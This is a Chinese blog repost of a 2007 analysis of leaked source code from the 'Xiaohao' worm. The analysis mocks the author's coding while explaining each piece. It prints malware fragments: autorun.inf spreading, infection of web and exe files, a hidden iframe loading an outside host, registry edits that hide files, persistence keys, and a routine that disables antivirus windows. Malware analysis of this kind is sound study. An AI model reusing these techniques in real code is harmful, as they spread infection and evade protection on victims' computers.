从中国龙组上的朋友小汶’s blog上看到的,我的C语言是自学的,而且只看了几天~,只能大概看出来每段是干什么的~,没小汶看的透这里就直接把小汶的分析给搜刮过来了
2007年08月27日 16:44网上最近炒得火热的 小浩(Xiaohao) 这个木马,在很不经意的情况下,偷到了源代码,以我这个只会 DOS 下简单 C 语言的水平,分析了一下,这个木马实在的不高明,具体详细说来。
首先,是 WormBegin.cpp 这个源码里的: 1 写入 Autoruninf 文件
1BOOL CWormBegin::GRDirctory(CString Path) //每个盘下加auto2{3char ff[256];4GetModuleFileName(NULL,ff,sizeof(ff));5MyFileName=ff;6CString Data,AutoFile,PathName;7Data="[Autorun]8";9Data+="open=Xiaohao.exe10";11Data+="shellexecute=Xiaohao.exe12";13Data+="shell\Auto\command=Xiaohao.exe14";15AutoFile=Path;22 collapsed lines
16AutoFile+="Autoruninf";17PathName=Path;18PathName+="Xiaohao.exe";19CStdioFile Auto(AutoFile,CFile::modeNoTruncate|CFile::modeWrite|CFile::modeCreate);20Auto.WriteString(Data);21Auto.Close();22if(!CopyFile(MyFileName,PathName,0))23{24 return FALSE;25}26else27{28 SetFileAttributes(PathName,FILE_ATTRIBUTE_HIDDEN);29 SetFileAttributes(AutoFile,FILE_ATTRIBUTE_HIDDEN);30 return TRUE;31}32}33/*作者QQ:********34Blog : [Http://Hi.baidu.com/](http://hi.baidu.com/)*****35不是我不想写 真正的PE感染.. 哎. 可是我的结构化异常处理还没有学.. 郁闷啊 ! 只好写个垃圾virus36欢迎各位大牛. 来指导我 或者是交流37My age:15 - -!*/
评:这位仁兄不知道英文是几级的,目录的英文Directory都能打错。GRDirctory 这种东西可能只能是中国人才能理解吧,哦~~感染目录,中西结合,厉害厉害。
2 再看搜索感染的文件这段:
1 if(FileName=="htm" || FileName=="html" || FileName=="asp" || FileName=="aspx" || FileName=="php" || FileName=="jsp")2 {3 Jilu(strPath);4 SetFileAttributes(strPath,FILE_ATTRIBUTE_NORMAL);5 GanRanWeb(strPath);6 }7 if(FileName=="exe")8 {9 if(Fuck.GetFileName()=="xiaohao.exe" || Fuck.GetFileName()=="XiaoHao.exe"10 ||Fuck.GetFileName()=="Xiaohao.exe")11 continue;
能感染的文件类型只有: htm html asp aspx php jsp 和 exe.
评:使用的方法也就是普通历遍模式,没有什么太大的特点。GanRanWeb这么函数可能也只有英文不好的人才能写得出来吧,老外肯定看不懂了。
3 记录被感染和被隐藏的文件
1 if(!file.Open("c:\Jilu.txt",CFile::modeNoTruncate|CFile::modeWrite|CFile::modeCreate))2 return 1;3 file.SeekToEnd();4 file.WriteString(str1);5 file.Close();6 SetFileAttributes("c:\Jilu.txt",FILE_ATTRIBUTE_HIDDEN);
评:我在奇怪了,这个生成一个记录文件,果然作者是英文水平很差的人,LOG 都不会,哦,用拼音的 JILU,实在是厉害。不过,另外你生成一记录的话,我大概就可以根据这个记录,搞定所有被感染的文件了啊,连我去找的时间都不需要了。好玩~~
4 经典的 IFRAME 植入
1CString WriteBuf="2<iframe src=http://xiaohao.yona.biz/xiaohao.htm width=0 height=0></iframe>";
评:依然是利用MS的几个漏洞来进行感染,唉……好老套。另外,这么明显的写出地址,估计很快就会和谐掉了吧。
我们接下继续看 XiaohaoDlg.cpp 这个吧: 1 感染盘符的搜索
1 if(ss=="A:\")2 continue;3 if(ss=="C:\")4 continue; //跳过C盘5 if(ss=="d:\")
评:这个条件语句太生硬了吧,如果我盘符有B盘呢??估计会进入死循环了吧。
2 修改注册表不让查看隐藏文件
1char lujing[]="SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL";2HKEY hkey;3DWORD Data=0;4RegOpenKeyEx(HKEY_LOCAL_MACHINE,lujing,0,KEY_ALL_ACCESS,&hkey);5RegSetValueEx(hkey,"CheckedValue",0,REG_DWORD,(CONST BYTE*)&Data,4);6RegCloseKey(hkey);7}
评:这作者真的是不知道路径的英文是PATH啊~~用的方法是修改掉键值。
其它的研究: 1 CLSID方面:
1RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Active Setup\Installed Components\{H9I12RB03-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}"
评:和yksoft一致认定:这个人明显没有研究过COM编程,天下哪有这样的CLSID,活生生的硬插,CLSID格式、用字符都不对
2 对付瑞星的部分:
1DWORD WINAPI FuckRising(2 LPVOID lpParameter // thread data3)4{5while(TRUE)6{7 HWND hWindow;8 char lpClassName[20];9 do10 {11 hWindow = ::GetWindow(GetForegroundWindow(),GW_HWNDFIRST);12 ;;GetClassName(hWindow, lpClassName, 20);13 if(strncmp(lpClassName,"#32770",6)==0)14 {15 PostMessage(hWindow, WM_COMMAND,40027,0);7 collapsed lines
16 PostMessage(hWindow, WM_COMMAND,2775,0);17 PostMessage(hWindow, WM_COMMAND,32776,0);18 }19 hWindow = ::GetWindow(hWindow, GW_HWNDNEXT);20 } while(hWindow == 0);21
22}
评:竟然这次英文没写错。哇,瑞星太厉害了,连他都知道写正确了。果然瑞星还是天下最容易被FXCK掉的杀软啊
3 写系统目录方面
1GetModuleFileName(NULL,ff,255);2CopyFile(ff,"c:\windows\system32\exloroe.exe",NULL);
评:这位仁兄真的很强,连系统变量都不去识别,硬生生的往这里写。天啊,如果象我这机器里无WINDOWS目录怎么办,而且C盘没有系统,那会是什么情况发生?
4 修改WINDOWS窗口标题栏
1::SetWindowText(hwnd,"已中毒 X14o-H4o's Virus");
评:经典的脑残体啊,我改了,改成了“你的Windows已经被和谐” 夜火评:这个不应该叫脑残体吧~,这个是黑客专用的写法,玩黑的朋友应该都知道是什么意思,就像我的xloong可以写成X1_0()||6,还不明白的朋友可以去google的黑客专用入口:http://www.google.com/intl/xx-hacker/ 和普通的英文入口对比下就知道了~
这些写出来只是简单的研究一下罢了,好坏,我都不做进一步的评论了,点到为止。 大家可以根据我这些部分代码,研究一下这东西倒底怎么工作的,好在日后遇到此类玩意,怎么去解决它。
总体来说,这个程序是活活的将熊猫的DELPHI,仿作成VC的作品